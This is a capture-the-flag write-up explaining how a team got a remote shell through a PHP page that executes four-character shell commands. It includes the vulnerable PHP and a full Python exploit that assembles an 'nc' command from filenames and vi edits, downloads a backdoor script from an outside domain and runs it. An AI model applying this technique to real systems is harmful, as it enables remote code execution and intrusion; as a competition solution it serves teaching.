Here's a story how a CTF challenge was solved using $20. There are less expensive solutions (free), but, hey, this works and made us the 4th team to solve it of 8 total in a 1000+ competitor CTF.

Summary and Shoutz

The challenge was basically to get a remote shell using only 4 character commands at a time. We can build a longer command by creating pieces of the command and then listing them in alphabetical order using ls. That command can be saved to a file and then executed using vi<file.

In order to form that command, we had to purchase a $20 alphabetical domain, that chunked up into pieces that vi wouldn't barf on.

Thanks @jeffreycrowell for the vi help, and purchasing the domain.

Challenge

Description: This is the hardest version! Short enough? http://52.197.41.31/

<?php  
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

Relatively straight forward. We get to execute a 4 character shell command in our sandbox.

Solution

There are relatively few things you can do with only 4 characters in shell.

  • Writing a file can be accomplished with >, and 3 characters left over.
  • Removing a file can be done with rm<space>, and only 1 character left over.
  • Executing a file can be done with sh< and 1 character left.
  • And of course, we can execute any other <=4 character command such as ls.

So, that gives us roughly 3 character limited primitives: create file, remove file, execute.

def create(file):  
    requests.get(URL + '?cmd=>' + file)

def remove(file):  
    requests.get(URL + '?cmd=rm ' + file)

def run(cmd):  
    requests.get(URL + '?cmd=' + cmd)

That should be enough primitives to create a file with a Remote Code Execution (RCE) command (nc example.com 2000), and execute it.

Getting a command of that length in is difficult when you only have 4 characters, but a nice trick is to create files that form that command and then save those pieces to a file with ls>f. However, ls will sort files by alphabetical order (in our case we discovered the server was running LANG=C, meaning ls sorted by ASCII value). Finally, the file we're writing the output of ls to must not ruin the combined command, as it'll also be written into the output of ls. So we actually have 3 limitations of the kind of command we can create.

  1. RCE command must be split into pieces of up to 3 characters
  2. Those split pieces must sort asciibetically.
  3. The file being written to must not ruin the command when the pieces are combined.

Let's suppose we can create a RCE command that fits those 3 limitations. We still have a problem of joining those pieces into a connected command without newlines as ls will output newline separated into files. We can correct this using some <=3 character vi commands. Those vi commands can be written down as file names, saved using out ls>f trick and then executed using vi<f.

# Run some vi<ls
create(':e}')  # Edit }  
create('gJ')  # Join top 2 lines together  
create('~ZZ')  # Write and close the file  

Note we're naming the file } for a very important reason. vi is able to open files named symbols using only 3 characters :e} whereas non-symbol names require at least 4 :e f and would be over the limit. Additionally, } is at the end of the ascii table and will sort nicely to the end of that command.

The new problem that arises with this method is that now the pieces of the RCE command will be executed as vi commands, because they are included in the ls being piped to vi. So, that makes us have another limitation:

  1. The split RCE command pieces must not stop vi's joining the pieces.

Can you come up with an answer that fits those 4 limitations? Here's what I got:

# Create the pieces of the command `nch h11h12h2hh.im mon>z;`. The extra 'h' in 'nc'
# will be removed later
for fff in ["\ n", "c", "h\ ", "h11", "h12", "h2", "hh.", "i", "m\ ", "mo", "n\>", "z\;"]:  
    create(fff)
run('ls>}')  

The URL that works in splitting into 3 character pieces, sorting properly, and not break vi is h11h12h2hh.im, well it turns out it's $20 and was available.

Actually, that command still breaks vi. The 'c' file will be created, and executed as a command in vi. Unfortunately, this command stops the joining process - we must remove it. We can do that by appending an 'h' to the command (or any other letter really), and then searching for it and deleting it using a vi command.

# Clean up the 'h' from the nc command
create('fhx')  
run('ls>l')  
run('vi<l')  

Once we have a file named } that contains nc h11h12h2hh.im mon>z; we can simply execute that file with sh<}, transfer a nice backdoor script into our sandbox, and then execute it with sh<z.

hitcon{idea_from_phith0n,thank_you:)}  

Full solution

#!/usr/bin/env python
import requests  
import os  
import sys


URL = 'http://52.199.204.34/'

def create(file):  
    requests.get(URL + '?cmd=>' + file)

def remove(file):  
    requests.get(URL + '?cmd=rm ' + file)

def run(cmd):  
    requests.get(URL + '?cmd=' + cmd)

def reset():  
    requests.get(URL + '?reset=1')

reset()

# Create the pieces of the command `nch h11h12h2hh.im mon>z;`. The extra 'h' in 'nc'
# will be removed later
for fff in ["\ n", "c", "h\ ", "h11", "h12", "h2", "hh.", "i", "m\ ", "mo", "n\>", "z\;"]:  
    create(fff)


# Put the pieces in the '}' file
run('ls>}')

# Remove anything 'vi' doesn't like and crashes on
remove('e')  
remove('x')  
remove('i')  
remove('p')  
remove('c')  
remove('s')  
remove('S')  
remove('f')  
remove('l')

# Run some vi<ls
create(':e}')  # Edit }  
create('gJ')  # Join top 2 lines together  
create('~ZZ')  # Write the file

run('ls>l')  # Trick to make vi<ls only be 4 characters  
for _ in range(13):  
     run('vi<l')

# Clean up the 'h' from the nc command
create('fhx')  
run('ls>l')  
run('vi<l')

# Let the script finish making the exploit file, and then execute it
time.sleep(10)  
run('sh<}')  
run('sh<z')